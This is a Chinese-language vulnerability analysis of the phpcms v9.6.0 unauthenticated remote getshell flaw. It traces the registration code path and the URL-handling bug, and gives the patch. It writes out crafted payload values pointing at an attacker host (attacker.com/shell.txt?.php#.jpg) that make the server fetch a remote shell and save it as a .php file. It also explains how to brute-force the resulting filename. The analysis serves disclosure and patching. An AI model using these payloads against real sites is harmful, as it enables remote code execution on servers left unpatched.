phpcms在国内应该使用很多,前几天被爆出来一个getshell的0day,这个漏洞无需登录即可远程直接getshell,所以影响很大。phpcms官方4月12日发布了9.6.1版本,对漏洞进行了补丁修复。
漏洞分析:
在/phpcms/modules/member/index.php文件register函数处:
这里有一个$member_setting = getcache(‘member_setting’);
就是从/caches/caches_member/caches_data/member_setting.cache.php文件中取出用户注册相关的配置信息:
然后我们继续/phpcms/modules/member/index.php文件register函数,前面的一大部分都是根据member_setting的配置信息来判断用户注册过程的合法性,对注册进行验证的过程。
一直到下面的内容,130行:
当 用户配置信息中choosemodel=1时,加载了/caches/caches_model/caches_data/member_input.class.php和/caches/caches_model/caches_data/member_update.class.php文件,然后实例化了member_input类,并且传入$userinfo[‘modelid’]参数,这里的$userinfo[‘modelid’]就是$_POST[‘modelid’],
然后$_POST[‘info’]经过new_html_special_chars函数处理,new_html_special_chars函数在文件
\phpcms\libs\functions\global.func.php中,他的功能就是返回经htmlspecialchars处理过的字符串或数组:
经过处理的$_POST[‘info’] 进入到$member_input->get()函数,跟进get函数,文件/caches/caches_model/caches_data/member_input.class.php
这里在get函数中,将data=$_POST[‘info’]循环去除key和value内容
这里的$this->fields就在构造函数中:
也是获取了caches中的配置信息,这里的$modelid就是我们上面再register函数中实例化member_input类时传入的$userinfo[‘modelid’]参数,也就是$_POST[‘modelid’]),当$_POST[‘modelid’])=1时,就是文件/caches/caches_model/caches_data/model_field_1.cache.php
然后当这里的$field也就是我们传入的$_POST[‘info’]中key,等于content时,
$func = $this->fields[$field][‘formtype’] = $this->fields[‘content’][‘formtype’] = ‘editor’,
然后$value = $this->$func($field, $value) = editor($field, $value ),来看看editor函数,就在get函数下面:
$value变量和’content’进入了download函数,这里的’content’值也就是上面我们为什么要将$field设置为’content’的原因
跟进download函数,$this->attachment也是在构造函数中定义:
$this->attachment = new attachment(‘content’,’0′,$this->siteid),在文件/phpcms/libs/classes/attachment.class.php
在download函数的153-160行:
这里的$string = new_stripslashes($value),然后通过正则匹配$string,正则里面的$ext = ‘gif|jpg|jpeg|bmp|png’,
如果匹配到正则中的内容,就将第三个括号的匹配内容取出来,再进入$this->fillurl函数,对url进行处理。
我们先来看看一下这个正则:
/(href|src)=([\”|’]?)([^ \”‘>]+.($ext))\2/i,画个图解释一下,一目了然:
所以$string也就是我们post进来的数据的内容可以为如下格式:
href=http://www.attacker.com/shell.jpg或者src=http://www.attacker.com/shell.jpg
进化一下可以为如下内容:
href=http://www.attacker.com/shell.txt?.jpg或者src=http://www.attacker.com/shell.txt?.jpg
我们匹配出来的就是group #3,内容为http://www.attacker.com/shell.txt?.jpg
然后将group #3的匹配内容http://www.attacker.com/shell.txt?.jpg,进入$this->fillurl函数处理,跟进
大部分内容都在处理这个url,可以不用关注细节,看红框里面的内容就好了
首先将$surl使用#分割,然后去了#前面的内容(这里存在问题)
然后看这个$surl是不是http:/开始,如果是http:/开始讲http://替换为空,最后return时再加上http://
我们传入的内容通过正则后,再进fillurl函数处理,那么我们来构造一下我们传入的内容:
href=http://www.attacker.com/shell.txt?.php#.jpg或者src=http://www.attacker.com/shell.txt?.php#.jpg
然后通过fillurl函数处理后变成了:
href=http://www.attacker.com/shell.txt?.php或者src=http://www.attacker.com/shell.txt?.php
最后处理完成的url放入$remotefileurls数组中,在遍历一下$remotefileurls中的内容进行下一步处理:
首先看一下fileext函数,在文件\phpcms\libs\functions\global.func.php
很简单,也就是返回了文件名中以最后一个点后面的内容作为后缀
然后看$filename是如何命名的,函数$this->getname:
文件名为:$newfile = 以年月日时分秒+100到999三个随机数字+后缀
继续$upload_func = $this->upload_func = ‘copy’(在构造函数中定义为’copy’)
然后执行$upload_func($file, $newfile) = copy($file, $newfile),这里的$file就是我们传入的url文件内容,$newfile就是上面处理后单位文件名,将我们传入的远程文件$file 保存为本地的$newfile 文件
到这里就很清楚了,我们传入$_POST[‘info’]首先为一个数组info[content] ,
info[content]=href=http://10.65.20.198/shell.txt?.php#.jpg
然后经过处理后进入copy的$file为http://10.65.20.198/shell.txt?.php,这里的文件时shell.txt,.php被当做url的参数,但是处理在生成$newfile时,.php就成了后缀,最后生成的$newfile = 20170413111012216.php
最后远程shell.txt的内容就保存在了20170413111012216.php中,成功getshell。
最后的POC为:
最后生成的shell地址为:http://localhost/phpcms_v9.6.0_UTF8/uploadfile/2017/0413/20170413114450820.php
这里需要注意一下:
有些环境会将文件名直接通过sql报错爆出来,这里的sql报错是因为在register中,将$user_model_info内容insert到数据库了,
但是此时insert数据库时,插入的表中没有我们传入的content字段,导致报错,将最后的文件名报出来了。
也有一个问题就是,不是所有环境都能走到这一步insert数据库导致报错,因为只有当我们传入的注册信息最后随机,就是用户名,邮箱等尽量足够随机时$status 的值才不为空,才能进入到insert处;
而且在 phpsso 没有配置好的时候$status的值为空,也同样不能得到路径;
最后的文件名就需要爆破,不过年月日时分秒+100到999三个随机数字,爆破的话还是很容易的。
漏洞修复:
官方在4.12号发布了9.6.1的补丁:
http://download.phpcms.cn/v9/9.0/patch/utf8/patch_20151225_20170412_UTF8.zip
在补丁中对获取到后后缀进行了验证:
所以升级到官方最新版9.6.1就ok了。
有兴趣请下载:phpcms v9.6注册功能远程getshell 0day漏洞分析
如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880